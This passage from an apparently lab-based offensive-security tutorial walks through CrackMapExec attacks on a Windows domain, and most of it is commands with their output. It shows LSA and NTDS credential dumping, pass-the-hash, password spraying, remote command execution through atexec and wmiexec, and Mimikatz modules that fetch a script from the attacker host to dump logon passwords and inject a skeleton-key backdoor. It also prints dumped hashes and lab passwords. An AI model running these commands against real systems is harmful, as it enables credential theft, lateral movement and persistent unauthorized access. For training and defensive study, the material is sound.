SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  IGNITE\WIN-S0V7KMTVLD2$:aes256-cts-hmac-sha1-96:4a9fc94a8b91a4c57b2fe9e6d20ff8e0c0c3c3b1
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  IGNITE\WIN-S0V7KMTVLD2$:aes128-cts-hmac-sha1-96:43977a9c3d9649811d78dfd1ec21896f
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  IGNITE\WIN-S0V7KMTVLD2$:des-cbc-md5:dc5479eaf22f8068
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  IGNITE\WIN-S0V7KMTVLD2$:aad3b435b51404eeaad3b435b51404ee:6eb72d9582436dfd0ba7d3e82ed542d
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  dpapi_machinekey:0×d322c71ab942ebe2d30d36e4a74054803f703feb
dpapi_userkey:0×ca6e97e65eacb41d0ee9b6989bc0caf2fb7831a2
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  NL$KM:392662e6ff7a57fe2928a3d7a0657f9c5ccb458d0357d3767d7e58af8690a5ff2403f52f3977ebd3c2
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  [+] Dumped 6 LSA secrets to /root/.cme/logs/WIN-S0V7KMTVLD2_192.168.1.105_2020-05-02_142
```

Credential Dumping: NTDS (DRSUAPI)

NTDS stands for New Technologies Directory Services and DIT stands for Directory Information Tree. This file acts as a database for Active Directory and stores all its data including all the credentials. And so we will manipulate this file to dump the hashes by using the following command:

```
crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' --ntds drsuapi
```

```
root@kali:~# crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' --ntds drsuapi
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  [*] Windows Server 2016 Standard Evaluation 14393 x64 (name:WIN-S0V7KMTVLD2) (domain:IGNITE) (signi
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  [+] IGNITE\Administrator:Ignite@987 (Pwn3d!)
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  [+] Dumping the NTDS, this could take a while so go grab a redbull...
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  ignite.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:32196b56ffe6f45e294117b91a83bf38:::
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  krbtgt:502:aad3b435b51404eeaad3b435b51404ee:f3bc61e97fb14d18c42bcbf6c3a9055f:::
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  ignite.local\yashika:1601:aad3b435b51404eeaad3b435b51404ee:64fbae31cc352fc26af97cbdef151e03:::
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  ignite.local\geet:1602:aad3b435b51404eeaad3b435b51404ee:64fbae31cc352fc26af97cbdef151e03:::
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  ignite.local\aarti:1603:aad3b435b51404eeaad3b435b51404ee:64fbae31cc352fc26af97cbdef151e03:::
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  ignite.local\$PI1000-3MFD4LDN1VTV:1625:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  ignite.local\SM_195ac04be8c140048:1626:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  ignite.local\SM_4c397e3a678c4b169:1627:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  ignite.local\SM_20db1747e41e4819a:1628:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  ignite.local\SM_8fbff1f05b7c418da:1629:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c
```

Credential Dumping: NTDS (VSS)

Another way to retrieve credentials from NTDS is through VSS i.e. the volume shadow copy. And for this method, use the following command:

```
crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' --ntds vss
```

```
root@kali:~# crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' --ntds vss
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  [*] Windows Server 2016 Standard Evaluation 14393 x64 (name:WIN-S0V7KMTVLD2) (domain:IGNITE) (sig
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  [+] IGNITE\Administrator:Ignite@987 (Pwn3d!)
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  [+] Dumping the NTDS, this could take a while so go grab a redbull...
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  ignite.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:32196b56ffe6f45e294117b91a83bf38
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  WIN-S0V7KMTVLD2$:1000:aad3b435b51404eeaad3b435b51404ee:6eb72d9582436dfd0ba7d3e82ed542dd:::
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  krbtgt:502:aad3b435b51404eeaad3b435b51404ee:f3bc61e97fb14d18c42bcbf6c3a9055f:::
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  ignite.local\yashika:1601:aad3b435b51404eeaad3b435b51404ee:64fbae31cc352fc26af97cbdef151e03:::
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  ignite.local\geet:1602:aad3b435b51404eeaad3b435b51404ee:64fbae31cc352fc26af97cbdef151e03:::
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  ignite.local\aarti:1603:aad3b435b51404eeaad3b435b51404ee:64fbae31cc352fc26af97cbdef151e03:::
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  DESKTOP-RGP2O9L$:1604:aad3b435b51404eeaad3b435b51404ee:f4e024227370ef5b92c62263989e0bf3:::
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  EXCHANGE$:1605:aad3b435b51404eeaad3b435b51404ee:cbb62ad39c37fe26dcafbf03d6636d70:::
```

Pass the Hash

Once we have dumped hashes, we don't need to use any other tool to pass the hash. With CME we need to use the following command:

```
crackmapexec smb 192.168.1.105 -u Administrator -H 32196B56FFE6F45E294117B91A83BF3
```

```
root@kali:~# crackmapexec smb 192.168.1.105 -u Administrator -H 32196B56FFE6F45E294117B91A83BF38
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  [*] Windows Server 2016 Standard Evaluation 14393 x64 (name:WIN-S0V7
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  [+] IGNITE\Administrator 32196B56FFE6F45E294117B91A83BF38 (Pwn3d!)
```

Password Spraying

Password Spraying is an attack where we get hold of accounts by using the same passwords for the same numerous usernames until we find a correct one. With CME, we can perform password spraying with two methods. In the first method, we will use the parameter **'–rid-brute'.** To use this parameter, the syntax will be:

crackmapexec <protocol> <IP Address> -u <path of username txt file> -p '<password>' –rid-brute

Going by the above syntax, the command is:

```
crackmapexec smb 192.168.1.106 -u /root/Desktop/user.txt -p 'Password@1' --rid-bru
```

```
root@kali:~# crackmapexec smb 192.168.1.106 -u /root/Desktop/user.txt -p 'Password@1' --rid-brute
SMB         192.168.1.106   445    DESKTOP-RGP2O9L  [*] Windows 10.0 Build 18362 x64 (name:DESKTOP-RGP2O9L) (
SMB         192.168.1.106   445    DESKTOP-RGP2O9L  [+] IGNITE\geet:Password@1
SMB         192.168.1.106   445    DESKTOP-RGP2O9L  [+] Brute forcing RIDs
SMB         192.168.1.106   445    DESKTOP-RGP2O9L  500: DESKTOP-RGP2O9L\Administrator (SidTypeUser)
SMB         192.168.1.106   445    DESKTOP-RGP2O9L  501: DESKTOP-RGP2O9L\Guest (SidTypeUser)
SMB         192.168.1.106   445    DESKTOP-RGP2O9L  503: DESKTOP-RGP2O9L\DefaultAccount (SidTypeUser)
SMB         192.168.1.106   445    DESKTOP-RGP2O9L  504: DESKTOP-RGP2O9L\WDAGUtilityAccount (SidTypeUser)
SMB         192.168.1.106   445    DESKTOP-RGP2O9L  513: DESKTOP-RGP2O9L\None (SidTypeGroup)
SMB         192.168.1.106   445    DESKTOP-RGP2O9L  1001: DESKTOP-RGP2O9L\raj (SidTypeUser)
```

Another method for password spraying is by using the **'–continue-on-success'** and we will use this parameter with our custom-made dictionary that has all the usernames. The contents of the dictionary are shown in the image below using the **cat** command. And then for password spraying, use the following command:

```
crackmapexec smb 192.168.1.106 -u /root/Desktop/user.txt -p 'Password@1' --continu
```

```
root@kali:~# cat /root/Desktop/user.txt
geet
kavish
aarti
yashika
root@kali:~# crackmapexec smb 192.168.1.106 -u /root/Desktop/user.txt -p 'Password@1' --continue-on-success
SMB         192.168.1.106   445    DESKTOP-RGP2O9L  [*] Windows 10.0 Build 18362 x64 (name:DESKTOP-RGP2O9L) (domain:IG
SMB         192.168.1.106   445    DESKTOP-RGP2O9L  [+] IGNITE\geet:Password@1
SMB         192.168.1.106   445    DESKTOP-RGP2O9L  [+] IGNITE\kavish:Password@1
```

Remote Command Execution

Now that we have studied various ways to obtain the password, let now make use of it as CME allows us to remotely execute commands. We can use the quser command to get information about the users. And logoff command to log off the target system. The syntax for executing commands remotely is:

crackmapexec <protocol> <IP_Address> -u '<username>' -p '<password>' -x '<command>'

following the above syntax, our commands will be:

```
crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' -x 'quser'
crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' -x 'logoff 2'
```

```
root@kali:~# crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' -x 'quser'
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  [*] Windows Server 2016 Standard Evaluation 14393 x64 (name:WIN-S
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  [+] IGNITE\Administrator:Ignite@987 (Pwn3d!)
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  [+] Executed command
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  USERNAME              SESSIONNAME        ID  STATE   IDLE TIME
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  administrator         console             2  Active      none
root@kali:~# crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' -x 'logoff 2'
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  [*] Windows Server 2016 Standard Evaluation 14393 x64 (name:WIN-S
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  [+] IGNITE\Administrator:Ignite@987 (Pwn3d!)
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  [+] Executed command
```

And as you can see in the image above, our commands are successfully executed and we have the information.

Remote Command Execution: atexec

This command will execute the command with the help of the Task Scheduler service. For this, use the following command:

```
crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' -x 'net user Adm
```

```
root@kali:~# crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' -x 'net user Admi
nistrator /domain' --exec-method atexec
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  [*] Windows Server 2016 Standard Evaluation
14393 x64 (name:WIN-S0V7KMTVLD2) (domain:IGNITE) (signing:True) (SMBv1:True)
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  [+] IGNITE\Administrator:Ignite@987 (Pwn3d!)
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  [+] Executed command via atexec
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  User name                    Administrator
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  Full Name                    Administrator
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  Comment                      Built-in accoun
t for administering the computer/domain
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  User's comment
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  Country/region code          000 (System Def
ault)
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  Account active               Yes
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  Account expires              Never
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  Password last set            4/15/2020 5:26:
40 AM
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  Password expires             Never
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  Password changeable          4/16/2020 5:26:
40 AM
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  Password required            Yes
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  User may change password     Yes
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  Workstations allowed         All
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  Logon script
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  User profile
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  Home directory
```

And as you can see in the image above, our commands are successfully executed and we have the information.

Remote Command Execution: wmiexec

This command will execute the command with the help of the Windows Management Instrumentation (WMI) service. For this, use the following command:

```
crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' -x 'net user Adm
```

```
root@kali:~# crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' -x 'net user Admi
nistrator /domain' --exec-method wmiexec
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  [*] Windows Server 2016 Standard Evaluation
14393 x64 (name:WIN-S0V7KMTVLD2) (domain:IGNITE) (signing:True) (SMBv1:True)
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  [+] IGNITE\Administrator:Ignite@987 (Pwn3d!)
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  [+] Executed command via wmiexec
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  User name                    Administrator
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  Full Name                    Administrator
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  Comment                      Built-in accoun
t for administering the computer/domain
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  User's comment
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  Country/region code          000 (System Def
ault)
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  Account active               Yes
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  Account expires              Never
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  Password last set            4/15/2020 5:26:
40 AM
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  Password expires             Never
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  Password changeable          4/16/2020 5:26:
40 AM
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  Password required            Yes
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  User may change password     Yes
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  Workstations allowed         All
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  Logon script
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  User profile
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  Home directory
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  Last logon                   5/2/2020 11:12:
```

And as you can see in the image above, our commands are successfully executed and we have the information.

We can also make the use of the PowerShell Cmdlets to execute tasks over the Remote using CME. This is possible due to the ability to execute commands remotely via WMI. For this use the following command:

```
crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' -X '$PSVersionTa
```

```
root@kali:~# crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' -X '$PSVersionTable' --exec-method wmiexec
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  [*] Windows Server 2016 Standard Evaluation 14393 x64 (name:WIN-S0V7KMTVLD2)
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  [+] IGNITE\Administrator:Ignite@987 (Pwn3d!)
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  [+] Executed command via wmiexec
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  Name                           Value
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  ----                           -----
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  PSVersion                      5.1.14393.2248
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  PSEdition                      Desktop
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  PSCompatibleVersions           {1.0, 2.0, 3.0, 4.0...}
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  BuildVersion                   10.0.14393.2248
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  CLRVersion                     4.0.30319.42000
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  WSManStackVersion              3.0
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  PSRemotingProtocolVersion      2.3
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  SerializationVersion           1.1.0.1
```

And as you can see in the image above, our PowerShell Cmdlet is executed successfully and we have the information.

Talking about WMI, we can also directly run the WMI command on the target using CME. The parameter '–wmi' is designed for this purpose. We can provide it with the command string of WMI and it will execute it as shown in the image given below.

```
crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' --wmi "select Na
```

```
root@kali:~# crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' --wmi "select Name from Win32_UserAccount"
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  [*] Windows Server 2016 Standard Evaluation 14393 x64 (name:WIN-S0V7KMTVLD2)
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  [+] IGNITE\Administrator:Ignite@987 (Pwn3d!)
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  Name => Administrator
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  Name => Guest
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  Name => krbtgt
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  Name => DefaultAccount
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  Name => yashika
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  Name => geet
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  Name => aarti
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  Name => $PI1000-3MFD4LDN1VTV
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  Name => SM_195ac04be8c140048
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  Name => SM_4c397e3a678c4b169
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  Name => SM_20db1747e41e4819a
```

And as we can see that we have a list of users on the target system which we extracted with the help of wmi command strings.

Modules

If from the above options you are not tempted to add CME in your tool kit, I bet the following will have you convinced in no time. CME also provides us with various modules which call upon the third-party tools like Mimikatz, Metasploit Framework, etc. to get the work done. To view all the modules that CME has to offer, use the following command:

```
crackmapexec smb -L
```

```
root@kali:~# crackmapexec smb -L
[-] Failed loading module at /usr/lib/python3/dist-packages/cme/modules/lsassy.py: No m
[-] Failed loading module at /usr/lib/python3/dist-packages/cme/modules/slinky.py: No m
[*] Get-ComputerDetails       Enumerates sysinfo
[*] bloodhound                Executes the BloodHound recon script on the target and re
[*] empire_exec               Uses Empire's RESTful API to generate a launcher for the
[*] enum_avproducts           Gathers information on all endpoint protection solutions
[*] enum_chrome               Decrypts saved Chrome passwords using Get-ChromeDump
[*] enum_dns                  Uses WMI to dump DNS from an AD DNS Server
[*] get_keystrokes            Logs keys pressed, time and the active window
[*] get_netdomaincontroller   Enumerates all domain controllers
[*] get_netrdpsession         Enumerates all active RDP sessions
[*] get_timedscreenshot       Takes screenshots at a regular interval
[*] gpp_autologin             Searches the domain controller for registry.xml to find a
[*] gpp_password              Retrieves the plaintext password and other information fo
[*] invoke_sessiongopher      Digs up saved session information for PuTTY, WinSCP, File
[*] invoke_vnc                Injects a VNC client in memory
[*] met_inject                Downloads the Meterpreter stager and injects it into memo
[*] mimikatz                  Dumps all logon credentials from memory
[*] mimikatz_enum_chrome      Decrypts saved Chrome passwords using Mimikatz
[*] mimikatz_enum_vault_creds Decrypts saved credentials in Windows Vault/Credential Ma
[*] mimikittenz               Executes Mimikittenz
[*] multirdp                  Patches terminal services in memory to allow multiple RDP
[*] netripper                 Capture's credentials by using API hooking
[*] pe_inject                 Downloads the specified DLL/EXE and injects it into memor
[*] rdp                       Enables/Disables RDP
[*] rid_hijack                Executes the RID hijacking persistence hook.
[*] scuffy                    Creates and dumps an arbitrary .scf file with the icon pr
[*] shellcode_inject          Downloads the specified raw shellcode and injects it into
[*] test_connection           Pings a host
[*] tokens                    Enumerates available tokens
[*] uac                       Checks UAC status
[*] wdigest                   Creates/Deletes the 'UseLogonCredential' registry key ena
[*] web_delivery              Kicks off a Metasploit Payload using the exploit/multi/sc
```

Just as shown in the image above, all the modules will be displayed after running the above command successfully. Now let's take a few of the modules from this and see how we can use them.

Modules: mimikatz

First, we will run Mimikatz directly as a module without giving it any other argument. The syntax for this is as following:

crackmapexec <protocol> <IP Address> -u <path of username txt file> -p '<password> -M <module>

Which will further make our command out to be as follows:

```
crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' -M mimikatz
```

```
root@kali:~# crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' -M mimikatz
[-] Failed loading module at /usr/local/lib/python3.7/dist-packages/crackmapexec-5.0.1.dev0-py3.7.egg/cme/modules/s
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  [*] Windows Server 2016 Standard Evaluation 14393 x64 (name:WIN
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  [+] IGNITE\Administrator:Ignite@987 (Pwn3d!)
MIMIKATZ    192.168.1.105   445    WIN-S0V7KMTVLD2  [+] Executed launcher
MIMIKATZ                                            [*] Waiting on 1 host(s)
MIMIKATZ    192.168.1.105                           [*] - - "GET /Invoke-Mimikatz.ps1 HTTP/1.1" 200 -
MIMIKATZ    192.168.1.105                           [*] - - "POST / HTTP/1.1" 200 -
MIMIKATZ    192.168.1.105                           IGNITE\WIN-S0V7KMTVLD2$:6eb72d9582436dfd0ba7d3e82ed542dd
MIMIKATZ    192.168.1.105                           [+] Added 1 credential(s) to the database
MIMIKATZ    192.168.1.105                           [*] Saved raw Mimikatz output to Mimikatz-192.168.1.105-2020-05
```

So now, as you can see in the image above, running the mimikatz module without any other argument will give the system credentials in the form of hashes.

Now let's try and give a mimikatz command as an argument, for doing so the command will be:

```
crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' -M mimikatz -o C
```

```
root@kali:~# crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' -M mimikatz -o COMMAND='privilege::debug'
[-] Failed loading module at /usr/local/lib/python3.7/dist-packages/crackmapexec-5.0.1.dev0-py3.7.egg/cme/modules/slinky.py: No mo
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  [*] Windows Server 2016 Standard Evaluation 14393 x64 (name:WIN-S0V7KMTVLD2) (
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  [+] IGNITE\Administrator:Ignite@987 (Pwn3d!)
MIMIKATZ    192.168.1.105   445    WIN-S0V7KMTVLD2  [+] Executed launcher
MIMIKATZ                                            [*] Waiting on 1 host(s)
MIMIKATZ    192.168.1.105                           [*] - - "GET /Invoke-Mimikatz.ps1 HTTP/1.1" 200 -
MIMIKATZ    192.168.1.105                           [*] - - "POST / HTTP/1.1" 200 -
MIMIKATZ    192.168.1.105
  .#####.   mimikatz 2.1 (x64) built on Nov 10 2016 15:31:14
 .## ^ ##.  "A La Vie, A L'Amour"
 ## / \ ##  /* * *
 ## \ / ##   Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 '## v ##'   http://blog.gentilkiwi.com/mimikatz           (oe.eo)
  '#####'                    with 20 modules * * */
ERROR mimikatz_initOrClean ; CoInitializeEx: 80010106

mimikatz(powershell) # privilege::debug
Privilege '20' OK

MIMIKATZ    192.168.1.105                           [*] Saved raw Mimikatz output to Mimikatz-192.168.1.105-2020-05-02_150809.log
```

And so, the command will debug all the privileges as shown in the image above. Now let's try to run another command:

```
crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' -M mimikatz -o C
```

```
root@kali:~# crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' -M mimikatz -o COMMAND='sekurlsa::logonPasswords'
[-] Failed loading module at /usr/local/lib/python3.7/dist-packages/crackmapexec-5.0.1.dev0-py3.7.egg/cme/modules/slinky.py: No module r
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  [*] Windows Server 2016 Standard Evaluation 14393 x64 (name:WIN-S0V7KMTVLD2) (domair
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  [+] IGNITE\Administrator:Ignite@987 (Pwn3d!)
MIMIKATZ    192.168.1.105   445    WIN-S0V7KMTVLD2  [+] Executed launcher
MIMIKATZ                                            [*] Waiting on 1 host(s)
MIMIKATZ    192.168.1.105                           [*] - - "GET /Invoke-Mimikatz.ps1 HTTP/1.1" 200 -
MIMIKATZ    192.168.1.105                           [*] - - "POST / HTTP/1.1" 200 -
MIMIKATZ    192.168.1.105
  .#####.   mimikatz 2.1 (x64) built on Nov 10 2016 15:31:14
 .## ^ ##.  "A La Vie, A L'Amour"
 ## / \ ##  /* * *
 ## \ / ##   Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 '## v ##'   http://blog.gentilkiwi.com/mimikatz            (oe.eo)
  '#####'                                     with 20 modules * * */
ERROR mimikatz_initOrClean ; CoInitializeEx: 80010106

mimikatz(powershell) # sekurlsa::logonPasswords

Authentication Id : 0 ; 996 (00000000:000003e4)
Session           : Service from 0
User Name         : WIN-S0V7KMTVLD2$
Domain            : IGNITE
Logon Server      : (null)
Logon Time        : 5/2/2020 9:46:42 AM
SID               : S-1-5-20
        msv :
         [00000003] Primary
         * Username : WIN-S0V7KMTVLD2$
         * Domain   : IGNITE
         * NTLM     : 6eb72d9582436dfd0ba7d3e82ed542dd
         * SHA1     : a03b401a3105f29f19e9e3c7f246cc94c2ecf897
        tspkg :
        wdigest :
         * Username : WIN-S0V7KMTVLD2$
         * Domain   : IGNITE
         * Password : (null)
        kerberos :
         * Username : win-s0v7kmtvld2$
         * Domain   : IGNITE.LOCAL
         * Password : (null)
```

Hence, running the above command will display all the hashes of the logon password. This way, you can also give further argument such as the argument to inject skeleton key with the following command:

```
crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' -M mimikatz -o C
```

```
root@kali:~# crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' -M mimikatz -o COMMAND='misc::skeleton'
[-] Failed loading module at /usr/local/lib/python3.7/dist-packages/crackmapexec-5.0.1.dev0-py3.7.egg/cme/modules/slinky.py: N
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  [*] Windows Server 2016 Standard Evaluation 14393 x64 (name:WIN-S0V7KMTVLD
SMB         192.168.1.105   445    WIN-S0V7KMTVLD2  [+] IGNITE\Administrator:Ignite@987 (Pwn3d!)
MIMIKATZ    192.168.1.105   445    WIN-S0V7KMTVLD2  [+] Executed launcher
MIMIKATZ                                            [*] Waiting on 1 host(s)
MIMIKATZ    192.168.1.105                           [*] - - "GET /Invoke-Mimikatz.ps1 HTTP/1.1" 200 -
MIMIKATZ    192.168.1.105                           [*] - - "POST / HTTP/1.1" 200 -
MIMIKATZ    192.168.1.105
  .#####.   mimikatz 2.1 (x64) built on Nov 10 2016 15:31:14
 .## ^ ##.  "A La Vie, A L'Amour"
 ## / \ ##  /* * *
 ## \ / ##   Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 '## v ##'   http://blog.gentilkiwi.com/mimikatz            (oe.eo)
  '#####'                                     with 20 modules * * */
ERROR mimikatz_initOrClean ; CoInitializeEx: 80010106

mimikatz(powershell) # misc::skeleton
[KDC] data
[KDC] struct
[KDC] keys patch OK
[RC4] functions
[RC4] init patch OK
[RC4] decrypt patch OK
```

Now that we have successfully injected the skeleton in the memory of the Domain Controller. Now we can use various techniques to gain access to the Target machine.

Read More: **Domain Controller Backdoor: Skeleton Key**

Module: Wdigest

Another module that CME presents us is wdigest. This module will create a registry key due to which passwords are stored in memory. To use this module, type the following command:

```
crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' -M wdigest -o AC
```

```
